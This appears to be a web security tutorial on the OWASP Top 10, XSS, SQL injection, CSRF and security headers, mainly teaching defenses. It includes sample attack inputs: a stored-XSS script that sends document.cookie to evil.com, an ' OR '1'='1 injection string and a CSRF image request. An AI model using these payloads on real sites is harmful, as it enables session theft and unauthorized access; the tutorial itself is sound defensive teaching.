Skip to content

Web Security Defense

4 min read

OWASP Top 10 Threat Overview

OWASP (Open Web Application Security Project) publishes the Top 10 every few years; it’s required reading for web security:

Rank Threat Core Issue
A01 Broken Access Control Unauthorized access, IDOR
A02 Cryptographic Failures Sensitive data in plaintext, weak algorithms
A03 Injection SQL/NoSQL/command injection
A04 Insecure Design Lack of security modeling
A05 Security Misconfiguration Default configs, debug mode left on
A06 Vulnerable and Outdated Components Dependencies with known vulnerabilities
A07 Identification and Authentication Failures Weak passwords, poor session management
A08 Software and Data Integrity Failures Insecure CI/CD, unverified updates
A09 Security Logging and Monitoring Failures Attacks go undetected
A10 Server-Side Request Forgery (SSRF) Internal network probing, cloud metadata leakage

XSS Attacks and CSP Defense

XSS (Cross-Site Scripting) injects malicious scripts into pages to steal user data or impersonate users.

Three Types of XSS

flowchart TD
    A[XSS Attack Types] --> B["Stored XSS<br/>Malicious script stored in database<br/>Triggered for all visitors"]
    A --> C["Reflected XSS<br/>Malicious script in URL parameters<br/>Requires tricking user to click"]
    A --> D["DOM-based XSS<br/>Frontend JS unsafe DOM operations<br/>Doesn't go through server"]

Stored XSS example:

<!-- Attacker submits in comment section -->
<textarea>
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>
</textarea>

<!-- When other users visit the comment section, the script executes automatically -->

Defense Measures

1. Output Encoding (Most Fundamental Defense)

// Choose encoding method based on context
// HTML context
function escapeHTML(str) {
    return str.replace(/[&<>"']/g, c => ({
        '&': '&amp;', '<': '&lt;', '>': '&gt;',
        '"': '&quot;', "'": '&#x27;'
    })[c]);
}

// JavaScript context
// Use JSON.stringify
const data = JSON.stringify(userInput);

// URL context
// Use encodeURIComponent
const url = `/search?q=${encodeURIComponent(userInput)}`;

2. CSP (Content Security Policy)

CSP restricts what resources a page can load through HTTP headers, blocking XSS at its source:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-abc123';     # Only same-origin + specific nonce scripts
  style-src 'self' 'unsafe-inline';     # Same-origin styles + inline styles
  img-src 'self' data: https:;          # Image source restrictions
  connect-src 'self' https://api.example.com;  # AJAX request restrictions
  frame-ancestors 'none';               # Prevent iframe embedding (clickjacking defense)
  base-uri 'self';
  form-action 'self';
<!-- nonce mode: only scripts with matching nonce can execute -->
<script nonce="abc123">
  // This code can execute
</script>
<script>
  // This code is blocked by CSP
</script>

3. HttpOnly Cookie

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

HttpOnly prevents JavaScript from reading cookies; even if XSS occurs, sessions cannot be stolen.

SQL Injection Defense

SQL injection is when attackers manipulate SQL statements through user input to execute unintended database operations:

flowchart LR
    A["User input: ' OR '1'='1"] --> B["Concatenated SQL"]
    B --> C["SELECT * FROM users<br/>WHERE name = '' OR '1'='1'<br/>AND password = '...'"]
    C --> D["Bypasses authentication, returns all users"]

Defense Strategies

1. Parameterized Queries (Most Effective)

// ❌ Concatenated SQL (dangerous)
query := fmt.Sprintf("SELECT * FROM users WHERE name = '%s'", username)
rows, err := db.Query(query)

// ✅ Parameterized query
rows, err := db.Query("SELECT * FROM users WHERE name = ?", username)
# Python example
# ❌ Concatenation
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")

# ✅ Parameterized
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

2. ORM Injection Prevention

// GORM uses parameterized queries internally
var user User
db.Where("name = ?", username).First(&user)  // Safe

// ❌ But this approach is not safe
db.Where(fmt.Sprintf("name = '%s'", username)).First(&user)  // Dangerous

3. Principle of Least Privilege

The database account used by the application should have only the necessary permissions:

-- ❌ Application uses root account
-- ✅ Create a dedicated account
CREATE USER 'app_user'@'%' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE, DELETE ON mydb.* TO 'app_user'@'%';
-- Do not grant DROP, ALTER, CREATE, etc.

CSRF Attack Defense

CSRF (Cross-Site Request Forgery) exploits the automatic cookie-sending behavior of logged-in users to initiate requests from malicious websites:

sequenceDiagram
    participant U as User Browser
    participant G as Legitimate Site
    participant E as Malicious Site

    U->>G: Login successful
    G-->>U: Set-Cookie: session=abc123

    U->>E: Visit malicious site
    E->>U: <img src="https://good.com/transfer?to=hacker&amount=10000">
    Note over U: Browser automatically includes Cookie
    U->>G: GET /transfer?to=hacker&amount=10000 Cookie: session=abc123
    Note over G: Cookie valid, executes transfer

Defense Measures

1. SameSite Cookie

Set-Cookie: session=abc123; SameSite=Strict
  • Strict: No cookies sent on cross-site requests (most secure but affects UX)
  • Lax: Cookies sent for GET navigation, not for POST/iframe (recommended default)
  • None: Cookies sent on cross-site requests (requires Secure)

2. CSRF Token

# Server generates Token, embeds in form
@app.route("/transfer")
def transfer_form():
    csrf_token = generate_csrf_token()
    return render_template("transfer.html", csrf_token=csrf_token)

# Validate Token
@app.route("/transfer", methods=["POST"])
def transfer():
    if request.form["csrf_token"] != session["csrf_token"]:
        abort(403)
    # Execute transfer...

# AJAX requests: Token in custom header
@app.before_request
def verify_csrf():
    if request.method in ("POST", "PUT", "DELETE"):
        token = request.headers.get("X-CSRF-Token")
        if token != session.get("csrf_token"):
            abort(403)

3. Check Origin/Referer

@app.before_request
def check_origin():
    origin = request.headers.get("Origin") or request.headers.get("Referer")
    if origin and not origin.startswith("https://good.com"):
        abort(403)

Security Header Configuration in Practice

# Strict Transport Security: Enforce HTTPS
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

# X-Content-Type-Options: Prevent MIME sniffing
X-Content-Type-Options: nosniff

# X-Frame-Options: Prevent clickjacking
X-Frame-Options: DENY

# X-XSS-Protection: Browser XSS filter (superseded by CSP, but as fallback)
X-XSS-Protection: 1; mode=block

# Referrer-Policy: Control Referer leakage
Referrer-Policy: strict-origin-when-cross-origin

# Permissions-Policy: Restrict browser APIs
Permissions-Policy: camera=(), microphone=(), geolocation=(self)

# Content-Security-Policy (most important)
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'

Nginx Security Header Configuration

server {
    listen 443 ssl http2;
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-$request_id'" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
}

The core principle of web security: Never trust user input. Output encoding, parameterized queries, and CSRF tokens are the cornerstones of defense against the three major injection attacks; security headers provide an additional layer of protection. Security is not a one-time project but an ongoing process.

Edit this page

Comments